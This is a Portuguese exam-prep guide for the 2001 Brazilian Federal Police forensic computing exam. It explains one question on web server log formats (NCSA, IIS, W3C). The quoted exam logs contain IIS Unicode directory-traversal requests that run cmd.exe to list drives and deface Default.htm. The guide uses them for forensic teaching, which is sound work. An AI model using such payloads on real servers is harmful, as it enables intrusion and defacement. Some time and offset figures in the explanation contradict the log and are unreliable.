



DEPARTAMENTO DA POLÍCIA FEDERAL

PERITO CRIMINAL FEDERAL COMPUTAÇÃO CIENTÍFICA

CONCURSO PÚBLICO

PCF - ÁREA 3

ANO 2001

Material elaborado por Juliano Ramalho
Revisão Técnica: Professores Walter e Jaime
<http://waltercunha.com/blog/>

Notas dos Professores

É fundamental à aprovação, terem pelo menos o domínio introdutório de cada assunto, a fim de que não percam as questões mais fáceis.

É sabido, que o ideal é LERMOS TUDO sobre CADA matéria. Porém a escassez de tempo é uma constante em nossos estudos, portanto acabamos tendo que conjugar seleção e abrangência.

No presente Material, cada QUESTÃO está posta na íntegra, como na prova, para que possam interarem-se no assunto e testarem seus conhecimentos.

Encorajamos todos a responderem sem prévia consulta em materiais de estudo. Após as respostas certas ou erradas, vejam as dissertativas sobre cada alternativa respectivamente e revisem cada tópico.

Esperamos que seja de muito proveito e ajuda para chegarem em seus OBJETIVOS e que a estratégia citada os ajude!

Bons Estudos.

O material...

- São 30 (trinta) questões de conhecimentos específicos cada uma com 5 (cinco) ítems.
- As questões estão numeradas como na prova e cada item da questão precede com o respectivo cabeçalho. Sempre virá o cabeçalho com o item para vocês tentarem resolver e testar seus conhecimentos. Em seguida novamente a referida questão/item com a conclusão da resposta
- Como sempre, as provas que a Cespe aplica requerem uma minuciosa atenção e concentração na leitura.
- Bons Estudos...

Referências...

Livros consultados:

- *Fundamentos de Computadores Digitais 4ª Ed. Thomas C Barteo.*
- *Organização Estruturada de Computadores A. S. Tanenbaum, 5ª Ed.*
- *Sistemas Operacionais com Java – 7Ed*
- *Sistemas Distribuidos Conceitos e Projetos 4ª Ed*
- *Manual de Administração do Sistema UNIX 3º Ed.*
- *Sistema de Banco de Dados – 4Ed. Elmasri Navathe*
- *Java – Como Programar 6ª Ed. Deitel*
- *C Completo e Total 3ª Ed.*
- *Engenharia de Software – 6ª Ed. Pressman*
- *Criptografia e segurança - O guia Oficial RSA*
- *Criptografia e Segurança de Redes. 4ª Ed. William Stalling*
- *Comunicação de Dados e Redes de Computad. Behrouz A. Forouzan*
- *Redes de Computadores e Internet. Douglas E. Comer 2ª Ed*
- *Redes De Computadores Andrew Tanenbaum 4ª Ed.*
- *Redes de Computador e a Internet - Uma abordagem top-down 3ª Ed.*

Material elaborado por Juliano Ramalho - Revisão Técnica: Professores Walter e Jaime
<http://waltercunha.com/blog/>

Referências...

Sites Consultados

- **Microsoft** – www.microsoft.com/br
- **Debian GNU/Linux** www.debian.com
- **FreeBSD** – www.freebsd.org
- **NetBSD** – www.netbsd.org
- **OpenBSD** – www.openbsd.org
- **W3C** - www.w3c.br/
- **Programação de Sistemas: Prof.º Ivan Luiz Marques Ricarte .**
- <http://www.dca.fee.unicamp.br/cursos/EA876/apostila/HTML/node1.html>
- **Boas práticas em Segurança da Informação 2ª Ed.**
- <http://portal2.tcu.gov.br/portal/pls/portal/docs/683820.PDF>
- **Objetos Distribuidos: Conceitos e Padrões**
- <http://mtc-m05.sid.inpe.br/col/sid.inpe.br/deise/2001/04.24.14.21/doc/pdfs/Capitulo3.pdf>

Texto CE – QUESTÕES DE 36 A 38

Os trechos abaixo foram retirados de um arquivo de *log* referente a acessos a um servidor http.

22-) atacker6.nowhere.com - - [23/Jan/2001:04:35:55 -0200] "GET

/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1t
h+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 404 461

23-) atacker6.nowhere.com - - [23/Jan/2001:04:37:34 -0200] "GET

/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215

24-) atacker6.nowhere.com - - [23/Jan/2001:04:40:09 -0200] "GET

/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215

25-) atacker6.nowhere.com - - [23/Jan/2001:04:40:30 -0200] "GET

/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215

QUESTÃO 36 - Com base no texto CE, julgue os itens abaixo, referentes aos ataques ao servidor http mencionado nesse texto.

4) Os logs foram gerados pelo MS IIS.

QUESTÃO 36 - Com base no texto CE, julgue os itens abaixo, referentes aos ataques ao servidor http mencionado nesse texto.

X 4) Os logs foram gerados pelo MS IIS.

Afirmativa errada. Para um melhor entendimento segue descrição de alguns formatos mais usados.

Segundo a Microsoft, “Quando o log do IIS está ativado, o IIS usa o Formato de Arquivo de Log Estendido W3C para criar logs das atividades diárias no diretório especificado para o site no Gerenciador do IIS.”

O Formato de Arquivo de Log Estendido W3C, segundo Andrey Rodrigues de Freitas, é um formato ASCII personalizável com vários campos diferentes. Pode-se incluir campos importantes, ao mesmo tempo em que limita o tamanho do log omitindo campos indesejáveis. Os campos são separados por espaços. O horário é registrado como UTC (Hora de Greenwich). Para visualizar o formato W3C, temos um exemplo abaixo , que mostra as linhas de um arquivo gerado com os respectivos campos.

Hora, Endereço IP do cliente, Método, Tronco URI, Status do HTTP e Versão do HTTP.

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2002-03-27 17:42:15

#Fields: time c-ip cs-method cs-uri-stem sc-status cs-version

17:42:15 172.16.255.255 GET /default.asp 200 HTTP/1.0

Material elaborado por Juliano Ramalho - Revisão Técnica: Professores Walter e Jaime
<http://waltercunha.com/blog/>

Podemos observar no exemplo do slide anterior que a entrada anterior indica que no dia 27 de março de 2002 às 17:42, UTC, um usuário com a versão 1.0 do HTTP e o endereço IP 172.16.255.255 emitiu um comando GET do HTTP para o arquivo Default.asp. A solicitação foi atendida sem erro. O campo #Date: indica quando a primeira entrada do log foi feita; essa entrada é feita quando o log é criado. O campo #Version: indica que foi usado o formato de log do W3C.

Já, o *Formato do Arquivo de Log do Microsoft IIS* é um formato ASCII fixo (não personalizável). Andrey Rodrigues de Freitas, explica que este formato registra mais informações que o formato comum do NCSA(será descrito a seguir) .

O formato do Microsoft IIS inclui itens básicos como o endereço IP do usuário, o nome do usuário, a data e o horário da solicitação, o código de status do HTTP e o número de bytes recebidos. Além disso, ele inclui itens detalhados como o tempo decorrido, o número de bytes enviados, a ação (por exemplo, um download efetuado por um comando GET) e o arquivo de destino. Os itens são separados por vírgulas, tornando o formato mais fácil de ler que os outros formatos ASCII, que usam espaços como separadores e o horário é registrado na hora local.

Temos abaixo um exemplo de um arquivo no formato do Microsoft IIS :

192.168.114.201, —, 03/27/2002, 7:55:20, W3SVC2, VENDAS1, 192.168.114. 201, 4502, 163, 3223, 200, 0, GET, DeptLogo.gif

No exemplo acima, as entradas são interpretadas nas tabelas a seguir. A linha superior nas duas tabelas é da segunda instância do site da Web (que aparece na coluna "Serviço" como W3SVC). NO exemplo é apresentado em duas tabelas devido às limitações de largura da página.

Endereço IP do usuário	Nome de usuário	Data	Hora	Serviço e instância	Nome do computador	Endereço IP do servidor
192.168.114.201	—	03/27/2002	7:55:20	W3SVC2	VENDAS1	172.21.13.45

Tempo gasto	Bytes recebidos	Bytes enviados	Código de status de serviço	Código de status do Windows 2000	Tipo de solicitação	Destino da operação
4502	163	3223	200	0	GET	DeptLogo.gif

Na primeira entrada indica que um usuário anônimo com o endereço IP 192.168.114.201 emitiu um comando GET do HTTP para o arquivo de imagem DeptLogo.gif às 7:55 em 27 de março de 2002, de um servidor chamado VENDAS1 no endereço IP 172.21.13.45. A solicitação HTTP de 163 bytes gastou um tempo de processamento de 4502 milissegundos (4,5 segundos) para ser concluída e retornou, sem erro, 3223 bytes de dados para o usuário anônimo. No arquivo de log, todos os campos terminam com uma vírgula (,). Um hífen agirá como um marcador de posição se não houver valor válido para um determinado campo.

No arquivo de Log apresentado nesta prova encontra-se no Formato NCSA.

Material elaborado por Juliano Ramalho - Revisão Técnica: Professores Walter e Jaime
<http://waltercunha.com/blog/>

No Formato de Arquivo de Log Comum do NCSA, que é um formato ASCII fixo (não personalizável), disponível para sites da Web mas não para sites FTP, registra informações básicas sobre solicitações de usuários, como o Nome do Host Remoto, Log Remoto do Usuário, o Nome de Usuário, a Data, o Horário, o Tipo de Solicitação, o Código de Status do HTTP e o Número de Bytes Recebidos pelo servidor. Os itens são separados por espaços; o horário é registrado na hora local.

Vejamos um exemplo retirado do próprio Log da prova: Log (10)

```
atacker4.nowhere.com - - [22/Jan/2001:21:19:27 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0
%af..%c0%af/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 200 607
```

Nome do host remoto	atacker4.nowhere.com
Log Remoto do User	Este valor é sempre um hífen, ou seja, vazio
Nome de usuário	Vazio
Data	22/Jan/2001
Horário e desvio de GMT	21:19:27 -0200
Tipo de solicitação	"GET/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0"
Cód Status de Serviço	200
Bytes enviados	607

No quadro acima, os dois campos LOG REMOTO do USER e NOME do USUÁRIO estão vazios, ou seja, no log analisado aparecem com hífen.

Material elaborado por Juliano Ramalho - Revisão Técnica: Professores Walter e Jaime
<http://waltercunha.com/blog/>

No campo “Horário e desvio de GMT” O arquivo de log *entrada* foi criado em 22 de janeiro de 2001 às 21:19:17 (21 horas, 39 minutos e 17 segundos) com a diferença entre a hora local e do GMT é de oito horas.

No campo “Tipo de solicitação” O cliente (invasor) emite um comando GET para obter uma listagem do diretório raiz using HTTP version 1.0.

No campo “Código de status de serviço” A solicitação retornou, com sucesso (200).

Portanto o formato usado nos LOGs desta prova foram no formato NCSA e não MS-IIS.

No próximo slide há uma tabela que ajudará muito a nível de estudos e conhecimento da matéria.

Fontes:

- **Computação Forense – 2ª Ed. 2003 – Editora Millenium**

Marcelo Antonio Sampaio Lemos Costa

- **Perícia Forense Aplicada em Ambiente Windows**

Andrey Rodrigues de Freitas

- **Microsof Corporation - Analyzing Log Files**

- **<http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/>**

[Libra ry/IIS/be22e074-72f8-46da-bb7e-e27877c85bca.mspx?mfr=true](http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/be22e074-72f8-46da-bb7e-e27877c85bca.mspx?mfr=true)

Formato	Critério	Padrão de nome de arquivo
Formato de log do Microsoft IIS	Por tamanho do arquivo	inetsvnm.log
	Por hora	inyymmddhh.log
	Diariamente	inyymmdd.log
	Semanalmente	inyymmww.log
	Mensalmente	inyymm.log
Formato de log comum do NCSA	Por tamanho do arquivo	ncsann.log
	Por hora	ncyymmddhh.log
	Diariamente	ncyymmdd.log
	Semanalmente	ncyymmww.log
	Mensalmente	ncyymm.log
Formato log estendido W3C	Por tamanho do arquivo	extendnn.log
	Por hora	exyymmddhh.loh
	Diariamente	exyymmdd.log
	Semanalmente	exyymmww.log
	Mensalmente	exyymm.log